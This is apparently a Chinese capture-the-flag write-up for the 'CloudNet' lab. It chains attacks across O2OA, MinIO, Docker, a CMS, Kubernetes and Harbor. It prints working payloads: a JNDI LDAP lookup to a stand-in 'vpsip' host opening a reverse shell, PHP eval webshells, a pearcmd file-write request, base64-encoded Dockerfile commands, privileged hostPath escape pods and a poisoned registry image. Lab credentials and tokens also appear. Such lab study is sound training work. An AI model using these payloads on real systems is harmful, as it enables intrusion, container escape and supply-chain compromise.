春秋云境-多维挑战-CloudNet-WP
字数 1548 2025-08-22 12:23:06

CloudNet渗透测试实战教学文档

1. 目标环境概述

目标系统是一个包含多个组件的复杂网络环境,主要涉及以下服务:

  • O2OA办公系统(8080端口)
  • MinIO对象存储(9000端口)
  • Harbor镜像仓库(80端口)
  • Kubernetes集群(多个节点)
  • 医院内部平台(80端口)
  • 极致CMS系统

2. 初始信息收集

2.1 端口扫描结果

39.99.148.11:25 open
39.99.148.11:110 open 
39.99.148.11:22 open
39.99.148.11:80 open
39.99.148.11:8080 open

2.2 Web服务识别

  • http://39.99.148.11: 广城市人民医院
  • http://39.99.148.11:8080: O2OA系统

3. Flag1获取:O2OA系统漏洞利用

3.1 O2OA漏洞利用

O2OA系统存在CNVD-2020-18740漏洞,允许远程命令执行。

利用步骤:

  1. 使用默认凭证登录:xadmin/o2oa@2022
  2. 添加恶意接口代码:
var a = mainOutput();
function mainOutput() {
    var aaa = Java.type("javax.naming.InitialContext");
    aaa.doLookup("ldap://vpsip:1389/Deserialization/CommonsBeanutils1/ReverseShell/vpsip/250");
};
  1. 使用JNDIExploit工具监听:
java -jar JNDIExploit-2.0-SNAPSHOT.jar -l 1389 -p 8000 -i vpsip

3.2 获取凭证

在服务器配置文件中发现敏感信息:

grep -r "password" config

找到MinIO凭证:

"username": "bxBZOXDlizzuujdR",
"password": "TGdtqwJbBrEMhCCMDVtlHKU="

4. Flag2获取:MinIO利用

4.1 连接MinIO

使用获取的凭证连接MinIO服务:

地址:172.22.18.29:9000
用户:bxBZOXDlizzuujdR
密码:TGdtqwJbBrEMhCCMDVtlHKU=

4.2 上传WebShell

  1. 上传PHP webshell文件:
<?php eval($_POST['chu0']);?>
  1. 访问webshell获取flag:
http://39.98.108.142/shell.php

flag位于根目录。

5. Flag3获取:Docker API SSRF漏洞利用

5.1 利用MinIO的SSRF漏洞

通过MinIO的SSRF漏洞访问Docker API(2375端口)。

步骤:

  1. 创建恶意Dockerfile:
FROM 172.22.18.64/public/mysql:5.6
RUN echo IyEvdXNyL2Jpbi9lbnYgYmFzaAo... | base64 -d > /tmp/1.sh
RUN chmod +x /tmp/1.sh && /tmp/1.sh
  1. 设置PHP重定向服务:
<?php
header('Location: http://127.0.0.1:2375/build?remote=http://172.22.18.23/Dockerfile&nocache=true&t=evil:1', false, 307);
?>
  1. 通过MinIO的WebRPC接口触发SSRF:
POST /minio/webrpc HTTP/1.1
Host: 172.22.18.23:8081
Content-Type: application/json

{
    "id": 1,
    "jsonrpc": "2.0",
    "params": {
        "token": "Test"
    },
    "method": "web.LoginSTS"
}

6. Flag4获取:极致CMS漏洞利用

6.1 利用ThinkPHP RCE漏洞

GET /index.php?+config-create+/&l=usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell1.php HTTP/1.1

6.2 获取数据库凭证

在配置文件中发现MySQL凭证:

'db' => array (
    'host' => 'mysql',
    'dbname' => 'jizhicms',
    'username' => 'root',
    'password' => 'Mysqlroot@!123',
    'prefix' => 'jz_',
    'port' => '3306'
),

6.3 获取Kubernetes Token

通过MySQL UDF提权后读取Kubernetes token:

select load_file("/var/run/secrets/kubernetes.io/serviceaccount/token");

7. Flag5获取:Kubernetes Master节点控制

7.1 使用Token访问Dashboard

kubectl -s https://172.22.15.75:6443/ --insecure-skip-tls-verify=true --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlRSaDd3eFBhYXFNTkg5OUh0TnNwcW00c0Zpand4LUliXzNHRU1raXFjTzQifQ...

7.2 创建特权Pod进行逃逸

apiVersion: v1
kind: Pod
metadata:
  name: control-master-x
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    operator: Exists
    effect: NoSchedule
  containers:
  - name: control-master-x
    image: 172.22.18.64/public/mysql:5.6
    command: ["/bin/sleep", "3650d"]
    volumeMounts:
    - name: master
      mountPath: /tmp
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory

8. Flag6获取:Kubernetes Node2节点

8.1 指定Pod到Node2节点

apiVersion: v1
kind: Pod
metadata:
  name: control-master-x1
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    operator: Exists
    effect: NoSchedule
  containers:
  - name: control-master-x
    image: 172.22.18.64/public/mysql:5.6
    command: ["/bin/sleep", "3650d"]
    volumeMounts:
    - name: master
      mountPath: /tmp
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory
  nodeSelector:
    kubernetes.io/hostname: node2

9. Flag7获取:Harbor镜像仓库

9.1 获取Harbor凭证

kubectl get secret harbor-registry-secret -o jsonpath='{.data.\.dockerconfigjson}' | base64 --decode

输出:

{
  "auths": {
    "172.22.18.64": {
      "username": "admin",
      "password": "password@nk9DLwqce",
      "auth": "YWRtaW46cGFzc3dvcmRAbms5REx3cWNl"
    }
  }
}

9.2 拉取flag镜像

docker login 172.22.18.64
docker pull 172.22.18.64/hospital/flag:latest
docker run -id --name flag 172.22.18.64/hospital/flag
docker exec -it flag /bin/bash
cat /flag

10. Flag8获取:镜像替换攻击

10.1 构建恶意镜像

Dockerfile内容:

FROM 172.22.18.64/hospital/system
RUN echo ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+JyA+IC92YXIvd3d3L2h0bWwvc2hlbGwucGhwICYmIGNobW9kIHUrcyAvdXNyL2Jpbi9maW5k | base64 -d | bash && echo password | echo ZWNobyAicm9vdDpwYXNzd29yZCIgfCBjaHBhc3N3ZA== | base64 -d | bash
ENTRYPOINT ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"]

10.2 上传并等待自动拉取

  1. 构建并推送镜像:
docker build -t 172.22.18.64/hospital/system .
docker push 172.22.18.64/hospital/system
  1. 等待约20分钟让系统自动拉取新镜像

10.3 获取shell

  1. 访问webshell:
http://172.22.50.45/shell.php
  1. 使用find命令反弹shell:
/usr/bin/find ./ -exec ./1.sh \;

关键知识点总结

  1. O2OA漏洞利用:CNVD-2020-18740漏洞允许通过LDAP注入实现RCE
  2. MinIO利用:通过配置文件中泄露的凭证访问对象存储
  3. SSRF到Docker API:利用MinIO的SSRF漏洞访问内网Docker API
  4. ThinkPHP RCE:通过pearcmd.php实现任意文件写入
  5. Kubernetes横向移动
    • 通过Service Account Token访问集群
    • 使用特权容器实现节点逃逸
    • 通过nodeSelector定位特定节点
  6. Harbor镜像替换攻击:通过更新自动拉取的镜像实现持久化访问
  7. 容器逃逸技术
    • 特权容器挂载主机根目录
    • 利用find命令执行反弹shell

防御建议

  1. 及时更新O2OA等系统到最新版本
  2. 限制Docker API的访问,禁用2375端口的公开访问
  3. 加强Service Account权限管理
  4. 避免在配置文件中硬编码敏感信息
  5. 实施镜像签名验证,防止恶意镜像替换
  6. 限制容器的特权模式使用
  7. 加强网络隔离,防止内网横向移动
CloudNet渗透测试实战教学文档 1. 目标环境概述 目标系统是一个包含多个组件的复杂网络环境,主要涉及以下服务: O2OA办公系统(8080端口) MinIO对象存储(9000端口) Harbor镜像仓库(80端口) Kubernetes集群(多个节点) 医院内部平台(80端口) 极致CMS系统 2. 初始信息收集 2.1 端口扫描结果 2.2 Web服务识别 http://39.99.148.11: 广城市人民医院 http://39.99.148.11:8080: O2OA系统 3. Flag1获取:O2OA系统漏洞利用 3.1 O2OA漏洞利用 O2OA系统存在CNVD-2020-18740漏洞,允许远程命令执行。 利用步骤: 使用默认凭证登录:xadmin/o2oa@2022 添加恶意接口代码: 使用JNDIExploit工具监听: 3.2 获取凭证 在服务器配置文件中发现敏感信息: 找到MinIO凭证: 4. Flag2获取:MinIO利用 4.1 连接MinIO 使用获取的凭证连接MinIO服务: 4.2 上传WebShell 上传PHP webshell文件: 访问webshell获取flag: flag位于根目录。 5. Flag3获取:Docker API SSRF漏洞利用 5.1 利用MinIO的SSRF漏洞 通过MinIO的SSRF漏洞访问Docker API(2375端口)。 步骤: 创建恶意Dockerfile: 设置PHP重定向服务: 通过MinIO的WebRPC接口触发SSRF: 6. Flag4获取:极致CMS漏洞利用 6.1 利用ThinkPHP RCE漏洞 6.2 获取数据库凭证 在配置文件中发现MySQL凭证: 6.3 获取Kubernetes Token 通过MySQL UDF提权后读取Kubernetes token: 7. Flag5获取:Kubernetes Master节点控制 7.1 使用Token访问Dashboard 7.2 创建特权Pod进行逃逸 8. Flag6获取:Kubernetes Node2节点 8.1 指定Pod到Node2节点 9. Flag7获取:Harbor镜像仓库 9.1 获取Harbor凭证 输出: 9.2 拉取flag镜像 10. Flag8获取:镜像替换攻击 10.1 构建恶意镜像 Dockerfile内容: 10.2 上传并等待自动拉取 构建并推送镜像: 等待约20分钟让系统自动拉取新镜像 10.3 获取shell 访问webshell: 使用find命令反弹shell: 关键知识点总结 O2OA漏洞利用 :CNVD-2020-18740漏洞允许通过LDAP注入实现RCE MinIO利用 :通过配置文件中泄露的凭证访问对象存储 SSRF到Docker API :利用MinIO的SSRF漏洞访问内网Docker API ThinkPHP RCE :通过pearcmd.php实现任意文件写入 Kubernetes横向移动 : 通过Service Account Token访问集群 使用特权容器实现节点逃逸 通过nodeSelector定位特定节点 Harbor镜像替换攻击 :通过更新自动拉取的镜像实现持久化访问 容器逃逸技术 : 特权容器挂载主机根目录 利用find命令执行反弹shell 防御建议 及时更新O2OA等系统到最新版本 限制Docker API的访问,禁用2375端口的公开访问 加强Service Account权限管理 避免在配置文件中硬编码敏感信息 实施镜像签名验证,防止恶意镜像替换 限制容器的特权模式使用 加强网络隔离,防止内网横向移动